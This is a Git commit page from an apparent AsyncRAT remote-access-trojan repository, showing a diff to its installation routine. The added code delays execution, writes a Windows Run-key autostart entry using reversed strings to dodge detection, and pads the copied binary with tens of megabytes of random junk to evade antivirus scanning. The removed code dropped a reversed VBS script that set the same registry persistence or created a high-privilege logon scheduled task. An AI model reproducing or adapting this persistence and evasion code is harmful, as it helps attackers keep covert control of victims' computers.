Sapphire/AsyncRAT-C-Sharp
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Update NormalStartup.cs

Browse Source
This commit is contained in:
NYAN CAT 2019-09-15 14:13:25 +03:00
parent 8788a562bd
commit 7fb66887d3
1 changed files with 15 additions and 24 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

39
AsyncRAT-C#/Client/Install/NormalStartup.cs
View File

@ -18,6 +18,12 @@ namespace Client.Install
string installfullpath = Path.Combine(Environment.ExpandEnvironmentVariables(Settings.InstallFolder), Settings.InstallFile); string installfullpath = Path.Combine(Environment.ExpandEnvironmentVariables(Settings.InstallFolder), Settings.InstallFile);
if (Process.GetCurrentProcess().MainModule.FileName != installfullpath) if (Process.GetCurrentProcess().MainModule.FileName != installfullpath)
{ {
for (int i = 0; i < 10; i++)
{
Thread.Sleep(1000);
}
foreach (Process P in Process.GetProcesses()) foreach (Process P in Process.GetProcesses())
{ {
try try
@ -31,40 +37,25 @@ namespace Client.Install
} }
} }
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(Strings.StrReverse(@"\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), RegistryKeyPermissionCheck.ReadWriteSubTree))
{
key.SetValue(Path.GetFileName(installfullpath), "\"" + installfullpath + "\"");
}
FileStream fs; FileStream fs;
if (File.Exists(installfullpath)) if (File.Exists(installfullpath))
{ {
File.Delete(installfullpath); File.Delete(installfullpath);
Thread.Sleep(1000); Thread.Sleep(1000);
fs = new FileStream(installfullpath, FileMode.Create);
} }
else fs = new FileStream(installfullpath, FileMode.CreateNew);
fs = new FileStream(installfullpath, FileMode.CreateNew);
byte[] clientExe = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName); byte[] clientExe = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName);
fs.Write(clientExe, 0, clientExe.Length); fs.Write(clientExe, 0, clientExe.Length);
byte[] junk = new byte[new Random().Next(40 * 1024 * 1000, 50 * 1024 * 1000)];
new Random().NextBytes(junk);
fs.Write(junk, 0, junk.Length);
fs.Dispose(); fs.Dispose();
string tempName = Path.GetTempFileName() + ".vbs";
string TempPath = Strings.StrReverse(installfullpath);
string TempPathName = Strings.StrReverse(Path.GetFileName(installfullpath));
using (StreamWriter sw = new StreamWriter(tempName, false))
{
if (!Methods.IsAdmin())
{
sw.Write(Strings.StrReverse($@"""ZS_GER"",""{TempPath}"",""{TempPathName}\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH"" etirWgeR.llehShsW
)""llehS.tpircSW""(tcejbOetaerC = llehShsW teS"));
}
else
{
sw.Write(Strings.StrReverse($@")eslaF ,0 ,""{TempPath}"""" rt/ {TempPathName} nt/ tsehgih lr/ nogolno cs/ etaerc/ sksathcs""( nuR.llehShsw = ter
)""llehS.tpircSW""(tcejbOetaerC = llehShsw teS"));
}
}
Process.Start(tempName);
Thread.Sleep(1000);
File.Delete(tempName);
Process.Start(installfullpath); Process.Start(installfullpath);
Methods.ClientExit(); Methods.ClientExit();
Environment.Exit(0); Environment.Exit(0);